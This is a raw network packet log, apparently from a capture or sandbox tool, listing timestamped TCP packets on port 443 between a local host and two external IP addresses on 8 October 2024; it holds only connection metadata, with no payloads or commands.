Oct 8, 2024 20:52:09.501610994 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.501616955 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.501671076 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.503439903 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.515511990 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.515552044 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.515567064 CEST	49755	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.515573978 CEST	443	49755	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.516417027 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.516417027 CEST	49754	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.516472101 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.516501904 CEST	443	49754	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.517039061 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.517057896 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.517070055 CEST	49757	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.517076015 CEST	443	49757	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.547046900 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.547116041 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.547179937 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.562114000 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.562273026 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.572983980 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.573014021 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.573247910 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.577301979 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.584837914 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.584876060 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.584959984 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.597134113 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.597162962 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.597232103 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.619400978 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.631208897 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.631238937 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.631251097 CEST	49756	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.631258011 CEST	443	49756	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.671209097 CEST	49760	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.671238899 CEST	443	49760	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.679516077 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.679548025 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.679615974 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.679642916 CEST	49761	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.679656029 CEST	443	49761	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.679729939 CEST	49762	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.679738998 CEST	443	49762	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.689842939 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.689888000 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.689954042 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.690701008 CEST	49763	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:09.690713882 CEST	443	49763	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:09.720779896 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.720833063 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.720865965 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.720896959 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.720952034 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.720979929 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.720993042 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.721292019 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.721335888 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.721342087 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.721811056 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.721842051 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.721864939 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.721872091 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.721910954 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.722187996 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.725579023 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.725660086 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:09.725670099 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:09.770558119 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.032234907 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032320976 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032397032 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032433987 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032434940 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.032478094 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032494068 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.032541037 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032593012 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.032597065 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032615900 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032664061 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.032671928 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032728910 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032777071 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032777071 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.032788038 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032831907 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.032839060 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032885075 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032928944 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032932043 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.032939911 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.032988071 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.032994986 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.033046961 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.033083916 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.033093929 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.033101082 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.033142090 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.033149004 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.033190966 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.033226013 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.033240080 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.033246994 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.033294916 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.034636021 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.035128117 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.035137892 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.035584927 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.035590887 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.038502932 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.038573027 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.038628101 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.038635015 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.038769960 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.038822889 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.038826942 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.038888931 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.038945913 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.038950920 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.038997889 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.039660931 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.039727926 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.039736986 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.039741039 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.039772987 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.040466070 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.040525913 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.040530920 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.040555954 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.040594101 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.040599108 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.040643930 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.041215897 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.041269064 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.041274071 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.041287899 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.041316986 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.041321993 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.041347980 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.042032957 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.042083979 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.042088985 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.042126894 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.042129993 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.042141914 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.042187929 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.042984962 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.043051958 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.043121099 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.043168068 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.044069052 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.044115067 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.044128895 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.044135094 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.044153929 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.044794083 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.044840097 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.044842958 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.044851065 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.044897079 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.045777082 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.045834064 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.045934916 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.045986891 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.045991898 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.046036959 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.046694040 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.046757936 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.047329903 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.047404051 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.047445059 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.047501087 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.047523975 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.047578096 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.048299074 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.048352957 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.048887968 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.048943996 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.049133062 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.049190044 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.049737930 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.049798012 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.049820900 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.049874067 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.050333977 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.050411940 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.050618887 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.050683975 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.069583893 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.069672108 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.069736004 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.069736004 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.069752932 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.069786072 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.069835901 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.069840908 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.069890022 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.069916964 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.069972038 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.070029020 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.070075989 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.070189953 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.070250988 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.070312023 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.070374966 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.070444107 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.070502996 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.070593119 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.070650101 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.070710897 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.070763111 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.071130037 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.071171999 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.071190119 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.071196079 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.071227074 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.071243048 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.071580887 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.071599960 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.071698904 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.071705103 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.071753025 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.072158098 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.072180986 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.072233915 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.072241068 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.072279930 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.072721004 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.072736025 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.072789907 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.072794914 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.072837114 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.073081970 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.073096037 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.073156118 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.073162079 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.073209047 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.139770031 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.139842987 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.139904976 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.140080929 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.140100002 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.140110970 CEST	49759	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.140116930 CEST	443	49759	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.143088102 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.143126011 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.143212080 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.143392086 CEST	49764	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:10.143407106 CEST	443	49764	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:10.156301022 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.156328917 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.156475067 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.156497955 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.156567097 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.156769037 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.156785011 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.156856060 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.156861067 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.156922102 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.157296896 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.157314062 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.157373905 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.157380104 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.157433033 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.157877922 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.157895088 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.157955885 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.157960892 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.158013105 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.158409119 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.158425093 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.158480883 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.158487082 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.158525944 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.158904076 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.158919096 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.158977985 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.158983946 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.159046888 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.159400940 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.159419060 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.159486055 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.159498930 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.159567118 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.200534105 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.200557947 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.200658083 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.200668097 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.200702906 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.200731039 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.243731022 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.243758917 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.243860960 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.243875027 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.243925095 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.244158983 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.244174004 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.244240999 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.244246006 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.244298935 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.244724989 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.244741917 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.244805098 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.244811058 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.244853020 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.245210886 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.245227098 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.245289087 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.245294094 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.245346069 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.245789051 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.245843887 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.245908976 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.245914936 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.245949030 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.245985985 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.246028900 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.246072054 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.246099949 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.246104956 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.246145010 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.246162891 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.246385098 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.246445894 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.246484995 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.246490002 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.246526957 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.246550083 CEST	49758	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:10.290155888 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.290184975 CEST	443	49758	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:10.290251017 CEST	49758	443	192.168.2.9	188.114.96.3
